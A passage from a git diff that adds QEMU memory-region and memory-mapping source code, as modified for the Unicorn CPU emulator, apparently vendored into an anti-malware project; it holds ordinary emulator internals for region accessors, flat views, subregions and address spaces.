uint64_t *value, + unsigned size, + unsigned shift, + uint64_t mask) +{ + uint64_t tmp; + + tmp = mr->ops->old_mmio.read[ctz32(size)](mr->opaque, addr); + *value |= (tmp & mask) << shift; +} + +static void memory_region_read_accessor(MemoryRegion *mr, + hwaddr addr, + uint64_t *value, + unsigned size, + unsigned shift, + uint64_t mask) +{ + uint64_t tmp; + + tmp = mr->ops->read(mr->uc, mr->opaque, addr, size); + *value |= (tmp & mask) << shift; +} + +static void memory_region_oldmmio_write_accessor(MemoryRegion *mr, + hwaddr addr, + uint64_t *value, + unsigned size, + unsigned shift, + uint64_t mask) +{ + uint64_t tmp; + + tmp = (*value >> shift) & mask; + mr->ops->old_mmio.write[ctz32(size)](mr->opaque, addr, tmp); +} + +static void memory_region_write_accessor(MemoryRegion *mr, + hwaddr addr, + uint64_t *value, + unsigned size, + unsigned shift, + uint64_t mask) +{ + uint64_t tmp; + + tmp = (*value >> shift) & mask; + mr->ops->write(mr->uc, mr->opaque, addr, tmp, size); +} + +static void access_with_adjusted_size(hwaddr addr, + uint64_t *value, + unsigned size, + unsigned access_size_min, + unsigned access_size_max, + void (*access)(MemoryRegion *mr, + hwaddr addr, + uint64_t *value, + unsigned size, + unsigned shift, + uint64_t mask), + MemoryRegion *mr) +{ + uint64_t access_mask; + unsigned access_size; + unsigned i; + + if (!access_size_min) { + access_size_min = 1; + } + if (!access_size_max) { + access_size_max = 4; + } + + /* FIXME: support unaligned access? */ + access_size = MAX(MIN(size, access_size_max), access_size_min); + access_mask = (0-1ULL) >> (64 - access_size * 8); + if (memory_region_big_endian(mr)) { + for (i = 0; i < size; i += access_size) { + access(mr, addr + i, value, access_size, + (size - access_size - i) * 8, access_mask); + } + } else { + for (i = 0; i < size; i += access_size) { + access(mr, addr + i, value, access_size, i * 8, access_mask); + } + } +} + +static AddressSpace *memory_region_to_address_space(MemoryRegion *mr) +{ + AddressSpace *as; + + while (mr->container) { + mr = mr->container; + } + QTAILQ_FOREACH(as, &mr->uc->address_spaces, address_spaces_link) { + if (mr == as->root) { + return as; + } + } + return NULL; +} + +/* Render a memory region into the global view. Ranges in @view obscure + * ranges in @mr. + */ +static void render_memory_region(FlatView *view, + MemoryRegion *mr, + Int128 base, + AddrRange clip, + bool readonly) +{ + MemoryRegion *subregion; + unsigned i; + hwaddr offset_in_region; + Int128 remain; + Int128 now; + FlatRange fr; + AddrRange tmp; + + if (!mr->enabled) { + return; + } + + int128_addto(&base, int128_make64(mr->addr)); + readonly |= mr->readonly; + + tmp = addrrange_make(base, mr->size); + + if (!addrrange_intersects(tmp, clip)) { + return; + } + + clip = addrrange_intersection(tmp, clip); + + if (mr->alias) { + int128_subfrom(&base, int128_make64(mr->alias->addr)); + int128_subfrom(&base, int128_make64(mr->alias_offset)); + render_memory_region(view, mr->alias, base, clip, readonly); + return; + } + + /* Render subregions in priority order. */ + QTAILQ_FOREACH(subregion, &mr->subregions, subregions_link) { + render_memory_region(view, subregion, base, clip, readonly); + } + + if (!mr->terminates) { + return; + } + + offset_in_region = int128_get64(int128_sub(clip.start, base)); + base = clip.start; + remain = clip.size; + + fr.mr = mr; + fr.dirty_log_mask = mr->dirty_log_mask; + fr.romd_mode = mr->romd_mode; + fr.readonly = readonly; + + /* Render the region itself into any gaps left by the current view. */ + for (i = 0; i < view->nr && int128_nz(remain); ++i) { + if (int128_ge(base, addrrange_end(view->ranges[i].addr))) { + continue; + } + if (int128_lt(base, view->ranges[i].addr.start)) { + now = int128_min(remain, + int128_sub(view->ranges[i].addr.start, base)); + fr.offset_in_region = offset_in_region; + fr.addr = addrrange_make(base, now); + flatview_insert(view, i, &fr); + ++i; + int128_addto(&base, now); + offset_in_region += int128_get64(now); + int128_subfrom(&remain, now); + } + now = int128_sub(int128_min(int128_add(base, remain), + addrrange_end(view->ranges[i].addr)), + base); + int128_addto(&base, now); + offset_in_region += int128_get64(now); + int128_subfrom(&remain, now); + } + if (int128_nz(remain)) { + fr.offset_in_region = offset_in_region; + fr.addr = addrrange_make(base, remain); + flatview_insert(view, i, &fr); + } +} + +/* Render a memory topology into a list of disjoint absolute ranges. */ +static FlatView *generate_memory_topology(MemoryRegion *mr) +{ + FlatView *view; + + view = g_new(FlatView, 1); + flatview_init(view); + + if (mr) { + render_memory_region(view, mr, int128_zero(), + addrrange_make(int128_zero(), int128_2_64()), false); + } + flatview_simplify(view); + + return view; +} + +static FlatView *address_space_get_flatview(AddressSpace *as) +{ + FlatView *view; + + view = as->current_map; + flatview_ref(view); + return view; +} + +static void address_space_update_topology_pass(AddressSpace *as, + const FlatView *old_view, + const FlatView *new_view, + bool adding) +{ + unsigned iold, inew; + FlatRange *frold, *frnew; + struct uc_struct *uc = as->uc; + + /* Generate a symmetric difference of the old and new memory maps. + * Kill ranges in the old map, and instantiate ranges in the new map. + */ + iold = inew = 0; + while (iold < old_view->nr || inew < new_view->nr) { + if (iold < old_view->nr) { + frold = &old_view->ranges[iold]; + } else { + frold = NULL; + } + if (inew < new_view->nr) { + frnew = &new_view->ranges[inew]; + } else { + frnew = NULL; + } + + if (frold + && (!frnew + || int128_lt(frold->addr.start, frnew->addr.start) + || (int128_eq(frold->addr.start, frnew->addr.start) + && !flatrange_equal(frold, frnew)))) { + /* In old but not in new, or in both but attributes changed. */ + + if (!adding) { + MEMORY_LISTENER_UPDATE_REGION(frold, as, Reverse, region_del); + } + + ++iold; + } else if (frold && frnew && flatrange_equal(frold, frnew)) { + /* In both and unchanged (except logging may have changed) */ + + if (adding) { + MEMORY_LISTENER_UPDATE_REGION(frnew, as, Forward, region_nop); + if (frold->dirty_log_mask && !frnew->dirty_log_mask) { + MEMORY_LISTENER_UPDATE_REGION(frnew, as, Reverse, log_stop); + } else if (frnew->dirty_log_mask && !frold->dirty_log_mask) { + MEMORY_LISTENER_UPDATE_REGION(frnew, as, Forward, log_start); + } + } + + ++iold; + ++inew; + } else { + /* In new */ + + if (adding) { + MEMORY_LISTENER_UPDATE_REGION(frnew, as, Forward, region_add); + } + + ++inew; + } + } +} + + +static void address_space_update_topology(AddressSpace *as) +{ + FlatView *old_view = address_space_get_flatview(as); + FlatView *new_view = generate_memory_topology(as->root); + + address_space_update_topology_pass(as, old_view, new_view, false); + address_space_update_topology_pass(as, old_view, new_view, true); + + flatview_unref(as->current_map); + as->current_map = new_view; + + /* Note that all the old MemoryRegions are still alive up to this + * point. This relieves most MemoryListeners from the need to + * ref/unref the MemoryRegions they get---unless they use them + * outside the iothread mutex, in which case precise reference + * counting is necessary. + */ + flatview_unref(old_view); +} + +void memory_region_transaction_begin(struct uc_struct *uc) +{ + ++uc->memory_region_transaction_depth; +} + +static void memory_region_clear_pending(struct uc_struct *uc) +{ + uc->memory_region_update_pending = false; +} + +void memory_region_transaction_commit(struct uc_struct *uc) +{ + AddressSpace *as; + + assert(uc->memory_region_transaction_depth); + --uc->memory_region_transaction_depth; + if (!uc->memory_region_transaction_depth) { + if (uc->memory_region_update_pending) { + MEMORY_LISTENER_CALL_GLOBAL(begin, Forward); + + QTAILQ_FOREACH(as, &uc->address_spaces, address_spaces_link) { + address_space_update_topology(as); + } + + MEMORY_LISTENER_CALL_GLOBAL(commit, Forward); + } + memory_region_clear_pending(uc); + } +} + +static void memory_region_destructor_none(MemoryRegion *mr) +{ +} + +static void memory_region_destructor_ram(MemoryRegion *mr) +{ + qemu_ram_free(mr->uc, mr->ram_addr); +} + +static void memory_region_destructor_alias(MemoryRegion *mr) +{ + memory_region_unref(mr->alias); +} + +static void memory_region_destructor_ram_from_ptr(MemoryRegion *mr) +{ + qemu_ram_free_from_ptr(mr->uc, mr->ram_addr); +} + +static bool memory_region_need_escape(char c) +{ + return c == '/' || c == '[' || c == '\\' || c == ']'; +} + +static char *memory_region_escape_name(const char *name) +{ + const char *p; + char *escaped, *q; + uint8_t c; + size_t bytes = 0; + + for (p = name; *p; p++) { + bytes += memory_region_need_escape(*p) ? 4 : 1; + } + if (bytes == p - name) { + return g_memdup(name, bytes + 1); + } + + escaped = g_malloc(bytes + 1); + for (p = name, q = escaped; *p; p++) { + c = *p; + if (unlikely(memory_region_need_escape(c))) { + *q++ = '\\'; + *q++ = 'x'; + *q++ = "0123456789abcdef"[c >> 4]; + c = "0123456789abcdef"[c & 15]; + } + *q++ = c; + } + *q = 0; + return escaped; +} + +void memory_region_init(struct uc_struct *uc, MemoryRegion *mr, + Object *owner, + const char *name, + uint64_t size) +{ + if (!owner) { + owner = qdev_get_machine(uc); + uc->owner = owner; + } + + object_initialize(uc, mr, sizeof(*mr), TYPE_MEMORY_REGION); + mr->uc = uc; + mr->size = int128_make64(size); + if (size == UINT64_MAX) { + mr->size = int128_2_64(); + } + mr->name = g_strdup(name); + + if (name) { + char *escaped_name = memory_region_escape_name(name); + char *name_array = g_strdup_printf("%s[*]", escaped_name); + object_property_add_child(owner, name_array, OBJECT(mr), &error_abort); + object_unref(uc, OBJECT(mr)); + g_free(name_array); + g_free(escaped_name); + } +} + +static void memory_region_get_addr(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + uint64_t value = mr->addr; + + visit_type_uint64(v, &value, name, errp); +} + +static void memory_region_get_container(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + gchar *path = (gchar *)""; + + if (mr->container) { + path = object_get_canonical_path(OBJECT(mr->container)); + } + visit_type_str(v, &path, name, errp); + if (mr->container) { + g_free(path); + } +} + +static Object *memory_region_resolve_container(struct uc_struct *uc, Object *obj, void *opaque, + const char *part) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + + return OBJECT(mr->container); +} + +static void memory_region_get_priority(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + int32_t value = mr->priority; + + visit_type_int32(v, &value, name, errp); +} + +static bool memory_region_get_may_overlap(struct uc_struct *uc, Object *obj, Error **errp) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + + return mr->may_overlap; +} + +static void memory_region_get_size(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + uint64_t value = memory_region_size(mr); + + visit_type_uint64(v, &value, name, errp); +} + +static void memory_region_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + ObjectProperty *op; + + mr->ops = &unassigned_mem_ops; + mr->enabled = true; + mr->romd_mode = true; + mr->destructor = memory_region_destructor_none; + QTAILQ_INIT(&mr->subregions); + + op = object_property_add(OBJECT(mr), "container", + "link<" TYPE_MEMORY_REGION ">", + memory_region_get_container, + NULL, /* memory_region_set_container */ + NULL, NULL, &error_abort); + op->resolve = memory_region_resolve_container; + + object_property_add(OBJECT(mr), "addr", "uint64", + memory_region_get_addr, + NULL, /* memory_region_set_addr */ + NULL, NULL, &error_abort); + object_property_add(OBJECT(mr), "priority", "uint32", + memory_region_get_priority, + NULL, /* memory_region_set_priority */ + NULL, NULL, &error_abort); + object_property_add_bool(mr->uc, OBJECT(mr), "may-overlap", + memory_region_get_may_overlap, + NULL, /* memory_region_set_may_overlap */ + &error_abort); + object_property_add(OBJECT(mr), "size", "uint64", + memory_region_get_size, + NULL, /* memory_region_set_size, */ + NULL, NULL, &error_abort); +} + +static uint64_t unassigned_mem_read(struct uc_struct* uc, hwaddr addr, unsigned size) +{ +#ifdef DEBUG_UNASSIGNED + printf("Unassigned mem read " TARGET_FMT_plx "\n", addr); +#endif + if (uc->current_cpu != NULL) { + cpu_unassigned_access(uc->current_cpu, addr, false, false, 0, size); + } + return 0; +} + +static void unassigned_mem_write(struct uc_struct* uc, hwaddr addr, + uint64_t val, unsigned size) +{ +#ifdef DEBUG_UNASSIGNED + printf("Unassigned mem write " TARGET_FMT_plx " = 0x%"PRIx64"\n", addr, val); +#endif + if (uc->current_cpu != NULL) { + cpu_unassigned_access(uc->current_cpu, addr, true, false, 0, size); + } +} + +static bool unassigned_mem_accepts(void *opaque, hwaddr addr, + unsigned size, bool is_write) +{ + return false; +} + +const MemoryRegionOps unassigned_mem_ops = { + NULL, + NULL, + + DEVICE_NATIVE_ENDIAN, + + {0,0,false,unassigned_mem_accepts}, +}; + +bool memory_region_access_valid(MemoryRegion *mr, + hwaddr addr, + unsigned size, + bool is_write) +{ + int access_size_min, access_size_max; + int access_size, i; + + if (!mr->ops->valid.unaligned && (addr & (size - 1))) { + return false; + } + + if (!mr->ops->valid.accepts) { + return true; + } + + access_size_min = mr->ops->valid.min_access_size; + if (!mr->ops->valid.min_access_size) { + access_size_min = 1; + } + + access_size_max = mr->ops->valid.max_access_size; + if (!mr->ops->valid.max_access_size) { + access_size_max = 4; + } + + access_size = MAX(MIN(size, access_size_max), access_size_min); + for (i = 0; i < size; i += access_size) { + if (!mr->ops->valid.accepts(mr->opaque, addr + i, access_size, + is_write)) { + return false; + } + } + + return true; +} + +static uint64_t memory_region_dispatch_read1(MemoryRegion *mr, + hwaddr addr, + unsigned size) +{ + uint64_t data = 0; + + if (mr->ops->read) { + access_with_adjusted_size(addr, &data, size, + mr->ops->impl.min_access_size, + mr->ops->impl.max_access_size, + memory_region_read_accessor, mr); + } else { + access_with_adjusted_size(addr, &data, size, 1, 4, + memory_region_oldmmio_read_accessor, mr); + } + + return data; +} + +static bool memory_region_dispatch_read(MemoryRegion *mr, + hwaddr addr, + uint64_t *pval, + unsigned size) +{ + if (!memory_region_access_valid(mr, addr, size, false)) { + *pval = unassigned_mem_read(mr->uc, addr, size); + return true; + } + + *pval = memory_region_dispatch_read1(mr, addr, size); + adjust_endianness(mr, pval, size); + return false; +} + +static bool memory_region_dispatch_write(MemoryRegion *mr, + hwaddr addr, + uint64_t data, + unsigned size) +{ + if (!memory_region_access_valid(mr, addr, size, true)) { + unassigned_mem_write(mr->uc, addr, data, size); + return true; + } + + adjust_endianness(mr, &data, size); + + if (mr->ops->write) { + access_with_adjusted_size(addr, &data, size, + mr->ops->impl.min_access_size, + mr->ops->impl.max_access_size, + memory_region_write_accessor, mr); + } else { + access_with_adjusted_size(addr, &data, size, 1, 4, + memory_region_oldmmio_write_accessor, mr); + } + return false; +} + +void memory_region_init_io(struct uc_struct *uc, MemoryRegion *mr, + Object *owner, + const MemoryRegionOps *ops, + void *opaque, + const char *name, + uint64_t size) +{ + memory_region_init(uc, mr, owner, name, size); + mr->ops = ops; + mr->opaque = opaque; + mr->terminates = true; + mr->ram_addr = ~(ram_addr_t)0; +} + +void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr, + Object *owner, + const char *name, + uint64_t size, + uint32_t perms, + Error **errp) +{ + memory_region_init(uc, mr, owner, name, size); + mr->ram = true; + if (!(perms & UC_PROT_WRITE)) { + mr->readonly = true; + } + mr->perms = perms; + mr->terminates = true; + mr->destructor = memory_region_destructor_ram; + mr->ram_addr = qemu_ram_alloc(size, mr, errp); +} + +void memory_region_init_ram_ptr(struct uc_struct *uc, MemoryRegion *mr, + Object *owner, + const char *name, + uint64_t size, + void *ptr) +{ + memory_region_init(uc, mr, owner, name, size); + mr->ram = true; + mr->terminates = true; + mr->destructor = memory_region_destructor_ram_from_ptr; + + /* qemu_ram_alloc_from_ptr cannot fail with ptr != NULL. */ + assert(ptr != NULL); + mr->ram_addr = qemu_ram_alloc_from_ptr(size, ptr, mr, &error_abort); +} + +void memory_region_set_skip_dump(MemoryRegion *mr) +{ + mr->skip_dump = true; +} + +void memory_region_init_alias(struct uc_struct *uc, MemoryRegion *mr, + Object *owner, + const char *name, + MemoryRegion *orig, + hwaddr offset, + uint64_t size) +{ + memory_region_init(uc, mr, owner, name, size); + memory_region_ref(orig); + mr->destructor = memory_region_destructor_alias; + mr->alias = orig; + mr->alias_offset = offset; +} + +void memory_region_init_reservation(struct uc_struct *uc, MemoryRegion *mr, + Object *owner, + const char *name, + uint64_t size) +{ + memory_region_init_io(uc, mr, owner, &unassigned_mem_ops, mr, name, size); +} + +static void memory_region_finalize(struct uc_struct *uc, Object *obj, void *opaque) +{ + MemoryRegion *mr = MEMORY_REGION(uc, obj); + + assert(QTAILQ_EMPTY(&mr->subregions)); + // assert(memory_region_transaction_depth == 0); + mr->destructor(mr); + g_free((char *)mr->name); +} + +void memory_region_ref(MemoryRegion *mr) +{ + /* MMIO callbacks most likely will access data that belongs + * to the owner, hence the need to ref/unref the owner whenever + * the memory region is in use. + * + * The memory region is a child of its owner. As long as the + * owner doesn't call unparent itself on the memory region, + * ref-ing the owner will also keep the memory region alive. + * Memory regions without an owner are supposed to never go away, + * but we still ref/unref them for debugging purposes. + */ + Object *obj = OBJECT(mr); + if (obj && obj->parent) { + object_ref(obj->parent); + } else { + object_ref(obj); + } +} + +void memory_region_unref(MemoryRegion *mr) +{ + Object *obj = OBJECT(mr); + if (obj && obj->parent) { + object_unref(mr->uc, obj->parent); + } else { + object_unref(mr->uc, obj); + } +} + +uint64_t memory_region_size(MemoryRegion *mr) +{ + if (int128_eq(mr->size, int128_2_64())) { + return UINT64_MAX; + } + return int128_get64(mr->size); +} + +const char *memory_region_name(const MemoryRegion *mr) +{ + if (!mr->name) { + ((MemoryRegion *)mr)->name = + object_get_canonical_path_component(OBJECT(mr)); + } + return mr->name; +} + +bool memory_region_is_ram(MemoryRegion *mr) +{ + return mr->ram; +} + +bool memory_region_is_skip_dump(MemoryRegion *mr) +{ + return mr->skip_dump; +} + +bool memory_region_is_logging(MemoryRegion *mr) +{ + return mr->dirty_log_mask; +} + +bool memory_region_is_rom(MemoryRegion *mr) +{ + return mr->ram && mr->readonly; +} + +bool memory_region_is_iommu(MemoryRegion *mr) +{ + return mr->iommu_ops != 0; +} + +void memory_region_set_readonly(MemoryRegion *mr, bool readonly) +{ + if (mr->readonly != readonly) { + memory_region_transaction_begin(mr->uc); + mr->readonly = readonly; + if (readonly) { + mr->perms &= ~UC_PROT_WRITE; + } + else { + mr->perms |= UC_PROT_WRITE; + } + mr->uc->memory_region_update_pending |= mr->enabled; + memory_region_transaction_commit(mr->uc); + } +} + +void memory_region_rom_device_set_romd(MemoryRegion *mr, bool romd_mode) +{ + if (mr->romd_mode != romd_mode) { + memory_region_transaction_begin(mr->uc); + mr->romd_mode = romd_mode; + mr->uc->memory_region_update_pending |= mr->enabled; + memory_region_transaction_commit(mr->uc); + } +} + +int memory_region_get_fd(MemoryRegion *mr) +{ + if (mr->alias) { + return memory_region_get_fd(mr->alias); + } + + assert(mr->terminates); + + return qemu_get_ram_fd(mr->uc, mr->ram_addr & TARGET_PAGE_MASK); +} + +void *memory_region_get_ram_ptr(MemoryRegion *mr) +{ + if (mr->alias) { + return (char*)memory_region_get_ram_ptr(mr->alias) + mr->alias_offset; + } + + assert(mr->terminates); + + return qemu_get_ram_ptr(mr->uc, mr->ram_addr & TARGET_PAGE_MASK); +} + +static void memory_region_update_container_subregions(MemoryRegion *subregion) +{ + hwaddr offset = subregion->addr; + MemoryRegion *mr = subregion->container; + MemoryRegion *other; + + memory_region_transaction_begin(mr->uc); + + memory_region_ref(subregion); + QTAILQ_FOREACH(other, &mr->subregions, subregions_link) { + if (subregion->may_overlap || other->may_overlap) { + continue; + } + if (int128_ge(int128_make64(offset), + int128_add(int128_make64(other->addr), other->size)) + || int128_le(int128_add(int128_make64(offset), subregion->size), + int128_make64(other->addr))) { + continue; + } +#if 0 + printf("warning: subregion collision %llx/%llx (%s) " + "vs %llx/%llx (%s)\n", + (unsigned long long)offset, + (unsigned long long)int128_get64(subregion->size), + subregion->name, + (unsigned long long)other->addr, + (unsigned long long)int128_get64(other->size), + other->name); +#endif + } + QTAILQ_FOREACH(other, &mr->subregions, subregions_link) { + if (subregion->priority >= other->priority) { + QTAILQ_INSERT_BEFORE(other, subregion, subregions_link); + goto done; + } + } + QTAILQ_INSERT_TAIL(&mr->subregions, subregion, subregions_link); +done: + mr->uc->memory_region_update_pending |= mr->enabled && subregion->enabled; + memory_region_transaction_commit(mr->uc); +} + +static void memory_region_add_subregion_common(MemoryRegion *mr, + hwaddr offset, + MemoryRegion *subregion) +{ + assert(!subregion->container); + subregion->container = mr; + subregion->addr = offset; + subregion->end = offset + int128_get64(subregion->size); + memory_region_update_container_subregions(subregion); +} + +void memory_region_add_subregion(MemoryRegion *mr, + hwaddr offset, + MemoryRegion *subregion) +{ + subregion->may_overlap = false; + subregion->priority = 0; + memory_region_add_subregion_common(mr, offset, subregion); +} + +void memory_region_add_subregion_overlap(MemoryRegion *mr, + hwaddr offset, + MemoryRegion *subregion, + int priority) +{ + subregion->may_overlap = true; + subregion->priority = priority; + memory_region_add_subregion_common(mr, offset, subregion); +} + +void memory_region_del_subregion(MemoryRegion *mr, + MemoryRegion *subregion) +{ + memory_region_transaction_begin(mr->uc); + assert(subregion->container == mr); + subregion->container = NULL; + QTAILQ_REMOVE(&mr->subregions, subregion, subregions_link); + memory_region_unref(subregion); + mr->uc->memory_region_update_pending |= mr->enabled && subregion->enabled; + memory_region_transaction_commit(mr->uc); +} + +void memory_region_set_enabled(MemoryRegion *mr, bool enabled) +{ + if (enabled == mr->enabled) { + return; + } + memory_region_transaction_begin(mr->uc); + mr->enabled = enabled; + mr->uc->memory_region_update_pending = true; + memory_region_transaction_commit(mr->uc); +} + +static void memory_region_readd_subregion(MemoryRegion *mr) +{ + MemoryRegion *container = mr->container; + + if (container) { + memory_region_transaction_begin(mr->uc); + memory_region_ref(mr); + memory_region_del_subregion(container, mr); + mr->container = container; + memory_region_update_container_subregions(mr); + memory_region_unref(mr); + memory_region_transaction_commit(mr->uc); + } +} + +void memory_region_set_address(MemoryRegion *mr, hwaddr addr) +{ + if (addr != mr->addr) { + mr->addr = addr; + memory_region_readd_subregion(mr); + } +} + +void memory_region_set_alias_offset(MemoryRegion *mr, hwaddr offset) +{ + assert(mr->alias); + + if (offset == mr->alias_offset) { + return; + } + + memory_region_transaction_begin(mr->uc); + mr->alias_offset = offset; + mr->uc->memory_region_update_pending |= mr->enabled; + memory_region_transaction_commit(mr->uc); +} + +ram_addr_t memory_region_get_ram_addr(MemoryRegion *mr) +{ + return mr->ram_addr; +} + +uint64_t memory_region_get_alignment(const MemoryRegion *mr) +{ + return mr->align; +} + +static int cmp_flatrange_addr(const void *addr_, const void *fr_) +{ + const AddrRange *addr = addr_; + const FlatRange *fr = fr_; + + if (int128_le(addrrange_end(*addr), fr->addr.start)) { + return -1; + } else if (int128_ge(addr->start, addrrange_end(fr->addr))) { + return 1; + } + return 0; +} + +static FlatRange *flatview_lookup(FlatView *view, AddrRange addr) +{ + return bsearch(&addr, view->ranges, view->nr, + sizeof(FlatRange), cmp_flatrange_addr); +} + +bool memory_region_present(MemoryRegion *container, hwaddr addr) +{ + MemoryRegion *mr = memory_region_find(container, addr, 1).mr; + if (!mr || (mr == container)) { + return false; + } + memory_region_unref(mr); + return true; +} + +bool memory_region_is_mapped(MemoryRegion *mr) +{ + return mr->container ? true : false; +} + +MemoryRegionSection memory_region_find(MemoryRegion *mr, + hwaddr addr, uint64_t size) +{ + MemoryRegionSection ret = { NULL }; + MemoryRegion *root; + AddressSpace *as; + AddrRange range; + FlatView *view; + FlatRange *fr; + + addr += mr->addr; + for (root = mr; root->container; ) { + root = root->container; + addr += root->addr; + } + + as = memory_region_to_address_space(root); + if (!as) { + return ret; + } + range = addrrange_make(int128_make64(addr), int128_make64(size)); + + view = address_space_get_flatview(as); + fr = flatview_lookup(view, range); + if (!fr) { + flatview_unref(view); + return ret; + } + + while (fr > view->ranges && addrrange_intersects(fr[-1].addr, range)) { + --fr; + } + + ret.mr = fr->mr; + ret.address_space = as; + range = addrrange_intersection(range, fr->addr); + ret.offset_within_region = fr->offset_in_region; + ret.offset_within_region += int128_get64(int128_sub(range.start, + fr->addr.start)); + ret.size = range.size; + ret.offset_within_address_space = int128_get64(range.start); + ret.readonly = fr->readonly; + memory_region_ref(ret.mr); + + flatview_unref(view); + return ret; +} + +static void listener_add_address_space(MemoryListener *listener, + AddressSpace *as) +{ + FlatView *view; + FlatRange *fr; + + if (listener->address_space_filter + && listener->address_space_filter != as) { + return; + } + + if (listener->address_space_filter->uc->global_dirty_log) { + if (listener->log_global_start) { + listener->log_global_start(listener); + } + } + + view = address_space_get_flatview(as); + FOR_EACH_FLAT_RANGE(fr, view) { + MemoryRegionSection section = MemoryRegionSection_make( + fr->mr, + as, + fr->offset_in_region, + fr->addr.size, + int128_get64(fr->addr.start), + fr->readonly); + if (listener->region_add) { + listener->region_add(listener, §ion); + } + } + flatview_unref(view); +} + +void memory_listener_register(struct uc_struct* uc, MemoryListener *listener, AddressSpace *filter) +{ + MemoryListener *other = NULL; + AddressSpace *as; + + listener->address_space_filter = filter; + if (QTAILQ_EMPTY(&uc->memory_listeners) + || listener->priority >= QTAILQ_LAST(&uc->memory_listeners, + memory_listeners)->priority) { + QTAILQ_INSERT_TAIL(&uc->memory_listeners, listener, link); + } else { + QTAILQ_FOREACH(other, &uc->memory_listeners, link) { + if (listener->priority < other->priority) { + break; + } + } + QTAILQ_INSERT_BEFORE(other, listener, link); + } + + QTAILQ_FOREACH(as, &uc->address_spaces, address_spaces_link) { + listener_add_address_space(listener, as); + } +} + +void memory_listener_unregister(struct uc_struct *uc, MemoryListener *listener) +{ + QTAILQ_REMOVE(&uc->memory_listeners, listener, link); +} + +void address_space_init(struct uc_struct *uc, AddressSpace *as, MemoryRegion *root, const char *name) +{ + if (QTAILQ_EMPTY(&uc->address_spaces)) { + memory_init(uc); + } + + memory_region_transaction_begin(uc); + as->uc = uc; + as->root = root; + as->current_map = g_new(FlatView, 1); + flatview_init(as->current_map); + QTAILQ_INSERT_TAIL(&uc->address_spaces, as, address_spaces_link); + as->name = g_strdup(name ? name : "anonymous"); + address_space_init_dispatch(as); + uc->memory_region_update_pending |= root->enabled; + memory_region_transaction_commit(uc); +} + +void address_space_destroy(AddressSpace *as) +{ + MemoryListener *listener; + + /* Flush out anything from MemoryListeners listening in on this */ + memory_region_transaction_begin(as->uc); + as->root = NULL; + memory_region_transaction_commit(as->uc); + QTAILQ_REMOVE(&as->uc->address_spaces, as, address_spaces_link); + address_space_unregister(as); + + address_space_destroy_dispatch(as); + + // TODO(danghvu): why assert fail here? + QTAILQ_FOREACH(listener, &as->uc->memory_listeners, link) { + // assert(listener->address_space_filter != as); + } + + flatview_unref(as->current_map); + g_free(as->name); +} + +bool io_mem_read(MemoryRegion *mr, hwaddr addr, uint64_t *pval, unsigned size) +{ + return memory_region_dispatch_read(mr, addr, pval, size); +} + +bool io_mem_write(MemoryRegion *mr, hwaddr addr, + uint64_t val, unsigned size) +{ + return memory_region_dispatch_write(mr, addr, val, size); +} + +typedef struct MemoryRegionList MemoryRegionList; + +struct MemoryRegionList { + const MemoryRegion *mr; + QTAILQ_ENTRY(MemoryRegionList) queue; +}; + +typedef QTAILQ_HEAD(queue, MemoryRegionList) MemoryRegionListHead; + +static const TypeInfo memory_region_info = { + TYPE_MEMORY_REGION, + TYPE_OBJECT, + + 0, + sizeof(MemoryRegion), + NULL, + + memory_region_initfn, + NULL, + memory_region_finalize, +}; + +void memory_register_types(struct uc_struct *uc) +{ + type_register_static(uc, &memory_region_info); +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/memory_mapping.c b/ai_anti_malware/unicorn/unicorn-master/qemu/memory_mapping.c new file mode 100644 index 0000000..324daa8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/memory_mapping.c @@ -0,0 +1,266 @@ +/* + * QEMU memory mapping + * + * Copyright Fujitsu, Corp. 2011, 2012 + * + * Authors: + * Wen Congyang + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "glib_compat.h" + +#include "cpu.h" +#include "exec/cpu-all.h" +#include "sysemu/memory_mapping.h" +#include "exec/memory.h" +#include "exec/address-spaces.h" + +#include "uc_priv.h" + +//#define DEBUG_GUEST_PHYS_REGION_ADD + +static void memory_mapping_list_add_mapping_sorted(MemoryMappingList *list, + MemoryMapping *mapping) +{ + MemoryMapping *p; + + QTAILQ_FOREACH(p, &list->head, next) { + if (p->phys_addr >= mapping->phys_addr) { + QTAILQ_INSERT_BEFORE(p, mapping, next); + return; + } + } + QTAILQ_INSERT_TAIL(&list->head, mapping, next); +} + +static void create_new_memory_mapping(MemoryMappingList *list, + hwaddr phys_addr, + hwaddr virt_addr, + ram_addr_t length) +{ + MemoryMapping *memory_mapping; + + memory_mapping = g_malloc(sizeof(MemoryMapping)); + memory_mapping->phys_addr = phys_addr; + memory_mapping->virt_addr = virt_addr; + memory_mapping->length = length; + list->last_mapping = memory_mapping; + list->num++; + memory_mapping_list_add_mapping_sorted(list, memory_mapping); +} + +static inline bool mapping_contiguous(MemoryMapping *map, + hwaddr phys_addr, + hwaddr virt_addr) +{ + return phys_addr == map->phys_addr + map->length && + virt_addr == map->virt_addr + map->length; +} + +/* + * [map->phys_addr, map->phys_addr + map->length) and + * [phys_addr, phys_addr + length) have intersection? + */ +static inline bool mapping_have_same_region(MemoryMapping *map, + hwaddr phys_addr, + ram_addr_t length) +{ + return !(phys_addr + length < map->phys_addr || + phys_addr >= map->phys_addr + map->length); +} + +/* + * [map->phys_addr, map->phys_addr + map->length) and + * [phys_addr, phys_addr + length) have intersection. The virtual address in the + * intersection are the same? + */ +static inline bool mapping_conflict(MemoryMapping *map, + hwaddr phys_addr, + hwaddr virt_addr) +{ + return virt_addr - map->virt_addr != phys_addr - map->phys_addr; +} + +/* + * 